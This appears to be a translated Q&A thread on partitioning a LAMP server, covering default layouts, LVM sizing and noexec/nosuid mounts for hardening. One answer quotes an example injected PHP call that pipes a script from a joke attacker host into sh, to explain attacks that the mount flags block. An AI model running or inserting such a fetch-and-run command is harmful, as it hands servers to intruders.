建议为 LAMP 服务器采用 Linux 分区布局吗?

建议为 LAMP 服务器采用 Linux 分区布局吗?

我需要一些关于 LAMP 服务器分区布局最佳方法的建议,即 LINUX + APACHE + PHP + MYSQL。

答案1

我建议使用您的操作系统的默认布局,除非您有一些特殊考虑,例如大量数据、非常高的使用率、潜在的大幅增长。

您以后可以随时扩展...例如,我们经常有:/tmp /boot /如果 mysql 由于磁盘 IO 而陷入困境,我们可以在 /var/lib/mysql 添加另一个磁盘或 SAN 挂载

如果您的文档根目录是 /var/www,您也可以随时安装更多磁盘资源。

有些人会吹捧使用更细粒度的系统会带来性能优势,但我经常发现这些说法在实际应用中并不成立,或者对性能影响不大,因为系统不受磁盘 IO 限制。

答案2

如果别的都无所谓*和 Metallica 一起唱*,你至少应该注意,你有一个单独的挂载 PHP 上传/临时文件和挂载你的 web 根目录禁止执行标志。这可以阻止大约 99% 的脚本小子攻击。

为什么?

因为实际上它们似乎都使用了类似

1)找到某些 PHP 脚本的弱点,例如通过某些 URL 参数传递任意代码。

2.1) 从您网站上的一些好的网络表单上传包含 C 代码或 shell 脚本的文件。

或者

2.2)让你的 Web 服务器通过 URL 参数下载并执行一些恶意代码,例如“system("curlhttp://icanhazyourcheezburger.com/ipwnj00.sh| sh”)等。其中一些指示您的服务器首先获取 C 源代码并使用 gcc 进行编译,因此禁用 Apache 用户的 gcc 也是一个好主意。

3)看看你的服务器中是如何安装后门的。

那么,禁止执行,禁止suid在这种情况下能帮上忙吗?根本不会执行任何代码。是的,这可以被覆盖,但它越来越难,而且无论如何,安全性是层层叠加的,这禁止执行,禁止suid事只是其中之一。

答案3

我通常执行以下操作(使用 Debian):

我把所有内容都放入 LVM(这与 Grub2 兼容)。

  • /boot 1GB(用于救援/安装 CD 映像或其他棘手内容的空间。如果您谨慎的话,可以远离 LVM)。
  • / 5-10 GB,如果我需要 Matlab 或 /opt 中的其他内容,也许需要 20GB
  • /home 大小取决于服务器(什么样的用户?有多少?多少数据?)
  • /var 的大小取决于服务器(主要是日志文件)
  • /srv 并且大小取决于,但这是我放置 docroot 的地方(/srv/www)

具体来说,我不会填满整个 VG,因为这样当需求发生变化时,我会有更多发挥空间。而且可以使用 LVM 在线扩展文件系统。

答案4

http://novosial.org/kickstart/#s3

它建议至少有单独的启动、交换和混合操作系统软件和用户分区 - 因为拥有多个小分区在空间和时间上并不高效。但是对于关键服务器,将不受信任的用户与关键文件系统区域隔离开来。这包括用户主目录和临时目录。它还建议使用 nosuid 或其他选项挂载用户区域,以防止不受信任的代码执行。

相关内容